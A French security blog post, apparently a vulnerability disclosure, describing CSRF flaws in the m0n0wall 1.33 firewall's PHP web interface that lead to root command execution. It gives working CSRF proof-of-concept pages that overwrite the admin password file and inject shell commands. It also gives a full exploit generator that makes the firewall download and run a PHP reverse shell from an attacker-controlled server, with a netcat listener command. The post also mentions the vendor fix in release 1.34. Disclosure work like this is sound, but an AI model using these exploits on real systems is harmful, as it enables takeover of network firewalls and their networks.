Une vulnérabilité de type CSRF RCE permettant l’obtention d’un shell root a été découverte sur m0n0wall.
m0n0wall est une distribution très légère (environ 10Mo) qui fait office de routeur/firewall basée sur FreeBSD et jugée d’une grande fiabilité. Elle a d’ailleurs donné naissance à divers projets comme pfSense. Fournissant une interface d’administration web complète pour la gestion du firewall, ainsi que des fonctionnalités au démarrage via un terminal spécifique, m0n0wall a largement été adopté dans le monde de l’embarqué de part sa puissance, sa fiabilité et sa légèreté.
Il m’a été nécessaire d’exploiter ses diverses fonctionnalités dernièrement au sein d’environnements virtuels, et donc de m’attarder sur son fonctionnement interne.
De cette analyse en est principalement ressorti l’exploitation de vulnérabilité de type CSRF, qui permettent l’obtention d’un shell root à distance (RCE) :
Les attaques de type Cross-Site Request Forgery (abrégées CSRF prononcées sea-surfing ou parfois XSRF) utilisent l’utilisateur comme déclencheur, celui-ci devient complice sans en être conscient. L’attaque étant actionnée par l’utilisateur, un grand nombre de systèmes d’authentification sont contournés.
L’analyse s’est principalement portée vers l’administration WebGUI de m0n0wall, entièrement écrite en PHP. Du fait de sa légèreté, le projet m0n0wall n’intègre que très peu de frameworks et bibliothèques web additionnelles, contrairement à pfSense qui implémente CSRFMagic, une solution de protection contre ce type d’attaque.
En guise d’exemple, quelques résultats d’analyses sont détaillés ci-après.
Fichier /usr/local/www/exec.php ligne 250 :
$ph = popen($_POST['txtCommand'], "" );
La fonction « popen()« , qui permet l’exécution d’un processus ou d’une commande sur le système, exploite directement une variable $_POST sans que celle-ci ne soit nettoyée.
PoC d’un exploit CSRF qui redéfini le mot de passe « mono » pour le compte administrateur via cette vulnérabilité :
<html> <body> <form name='x' action='http://m0n0wall_IP:80/exec.php' method='post'> <input type='hidden' name='txtCommand' value='echo "admin:\$1\$UHzbn8k6\$RmvocDPCsXm0uW4SYZAcA/" > /usr/local/www/.htpasswd' /> </form> <script>document.forms['x'].submit();</script> </body> </html>
Fichier /usr/local/www/diag_ping.php ligne 159 et 161 :
system("/sbin/$pingprog -S$ifaddr -c$count "" . escapeshellarg($host)); [...] system("/sbin/$pingprog -c$count "" . escapeshellarg($host));
Idem sur ces lignes, une CSRF permet l’exécution de commande au travers de ces deux appels à la fonction « system() » de PHP. La variable en cause est « $count ». Celle-ci est définie dans le même fichier à la ligne 55 :
$count = $_POST['count'];
Mais cette variable n’est définie que si la condition de la ligne 47 est vérifiée (placée à « false ») :
if (($_POST['count'] < 1) || ($_POST['count'] > MAX_COUNT)) {
Par conséquent, si un assaillant fait précéder son injection CSRF avec un nombre entre 1 et 10, alors $count sera définie sans être nettoyée. Pour protéger ce cas, il faudrait modifier la condition en forçant un transtypage vers un entier par exemple :
if ((intval($_POST['count']) < 1) || (intval($_POST['count']) > MAX_COUNT)) {
PoC d’un exploit CSRF qui liste le contenu du répertoire courant (ls -la) via cette vulnérabilité :
<html> <body> <form name='x' action='http://m0n0wall_IP:80/diag_ping.php' method='post'> <input type='hidden' name='count' value='1;ls -la;' /> <input type='hidden' name='host' value='127.0.0.1' /> </form> <script>document.forms['x'].submit();</script> </body> </html>
Fichier /usr/local/www/exec_raw.php ligne 36 :
passthru($_GET['cmd']);
Cette instruction est d’une grande dangerosité. En effet, la fonction « passthru() » permet d’exécuter des commandes directement sur le serveur, et le tout via variable GET sans aucun nettoyage. Ce fichier restitue directement à l’écran au format « raw » le résultat des commandes entrées. Il est principalement utilisé par les addons/plugins qui peuvent s’installer et équiper m0n0wall.
Au travers de cette instruction exploitable, un assaillant peu obtenir un reverse-shell complet et interactif à distance. Afin d’appuyer ces propos, je me suis attelé à la conception d’un PoC qui s’est avéré bien plus compliqué que prévu.
Pour l’obtention d’un tel reverse-shell, il faut dans un premier temps établir les programmes suceptibles de transmettre au travers d’un socket les entrées/sorties d’un programme tiers (/bin/sh en l’occurence). Or, m0n0wall prône la légèreté du haut de ses 10Mo, et n’inclu donc qu’un nombre très limité d’outils et de commandes. Pas de netcat, de socat, de perl, de python, de ruby ou encore de telnet… Toutefois PHP est présent et dispose de la bibliothèque de socket !
En effet, chaque fichier PHP du WebGUI de m0n0wall doit commencer par la déclaration suivante :
#!/usr/local/bin/php
Je me suis donc orienté vers une exécution de code PHP directement en ligne de commande (mode CLI), sans succès. Après un nombre incalculable de syntaxe réalisée, m0n0wall ne semblait pas vouloir autoriser l’exécution de code PHP au travers du terminal directement, mais uniquement par un appel au serveur web via un navigateur.
Il fallait donc concevoir un fichier PHP manuellement, destiné à manipuler les sockets pour se connecter à un hôte distant, placer ce fichier à la racine du serveur web avec le bon en-tête, le bon chmod, puis finalement faire appel à ce fichier.
Pour établir un reverse-shell en PHP, PenTestMonkey met à disposition un outil « php-reverse-shell » où il suffit d’indiquer l’hôte à contacter et le port de connexion. Ainsi, l’idée est de placer ce fichier PHP sur un serveur web quelconque (accessible par m0n0wall), renommer ce fichier en .txt pour que la source soit lisible à distance, et bien indiquer l’hôte et le port de connexion.
Suite à cela, une CSRF précise permet de créer sur m0n0wall ce fichier avec la bonne en-tête et le bon chmod, puis dans un second temps, de faire appel à ce fichier pour établir le reverse-shell. La méthode est un peu tordue mais totalement fonctionnelle comme le prouve la vidéo de démonstration réalisée à cet effet.
Le code complet du générateur de la CSRF :
<html> <head> <script> function trim(s){ return s.replace(/\r\n|\r|\n|\t/g,'').replace(/^\s+/g,'').replace(/\s+$/g,''); } function generateCSRF(){ var target = trim(document.getElementById("target").value); var httpurl = trim(document.getElementById("httpurl").value); var resultjs = ""; resultjs += "<html><body>"; resultjs += "<img src='" + target + "exec_raw.php?cmd=echo%20-e%20%22%23%21/usr/local/bin/php%5Cn%3C%3Fphp%20eval%28%27%3F%3E%20%27.file_get_contents%28%27http%3A//" + httpurl + "%27%29.%27%3C%3Fphp%20%27%29%3B%20%3F%3E%22%20%3E%20x.php%3Bcat%20x.php%3Bchmod%20755%20x.php%3B' />"; resultjs += "<script type='text/javascript'>function redirect(page){window.location=page;}setTimeout('redirect(\"" + target + "x.php\")',1000);<\/script></body></html>"; document.getElementById("resultjs").value = resultjs; } </script> </head> <body onload="generateCSRF();"> <h2>CSRF m0n0wall 1.33 to root RCE (reverse shell)</h2> <p>m0n0wall 1.33, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.<br /> The attacker must know the URL address of m0n0wall WebGui.<br /> To obtain the reverseshell, attacker must place a netcat in listening mode.<br /> On attacker machine : <pre>nc -l -vv -p 1337 # Netcat listener, to gain shell control.</pre> (admin hash is in the /config/config.xml file on m0n0wall, and WebGUI access is checked with /usr/local/www/.htpasswd) </p> <form action="" onsubmit="generateCSRF();return false;"> <table> <tr><td>URL's m0n0wall 1.33 Targeted :</td> <td> <input id="target" type="text" value="http://192.168.0.253:80/" size="70" onkeyup="generateCSRF();" /></td> </tr> <tr><td> HTTP URL to download php-reverse-shell.txt <br /> You need to download php-reverse-shell <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell" target="_blank">here</a> !<br /> Edit the script to indicate :<br /> <pre>$ip = 'ATTACKER_IP_REVERSE_SHELL'; // CHANGE THIS $port = PORT_IN_LISTENING_MODE; // CHANGE THIS</pre> Then, rename php-reverse-shell.php to psr.txt and host it on a accessible web server.</td> <td>http:// <input id="httpurl" type="text" value="192.168.0.141/prs.txt" size="70" onkeyup="generateCSRF();" /></td> </tr> <tr> <td>CSRF exploit to send to an admin : </td> <td> <textarea cols="70" rows="10" id="resultjs" readonly="readonly"></textarea> </td> </tr> </table> </form> </body> </html>
Pour finaliser cet article, m0n0wall est une solution très légère et puissante qui a fait ses preuves au fil des années. Toutefois certaines petites faiblesses subsistent permettant de corrompre un tel système.
Les membres du projet m0n0wall ont été avertis vis-à-vis des quelques remarques faites au sein de cet article. Après quelques échanges avec eux pour déterminer les meilleurs moyens et mécanismes de protection à implémenter, la nouvelle release 1.34 vient enfin de voir le jour ! Je vous invite par conséquent à vous mettre à niveau.
Liens et ressources connexes :
Edit du 07/12/2012 :
- PackStormSecurity a publié les « Proof of Concept » et l’advisory de ces vulnérabilités
- 1337day a publié les « Proof of Concept » et l’advisory de ces vulnérabilités
- Exploit-DB a publié les « Proof of Concept » et l’advisory de ces vulnérabilités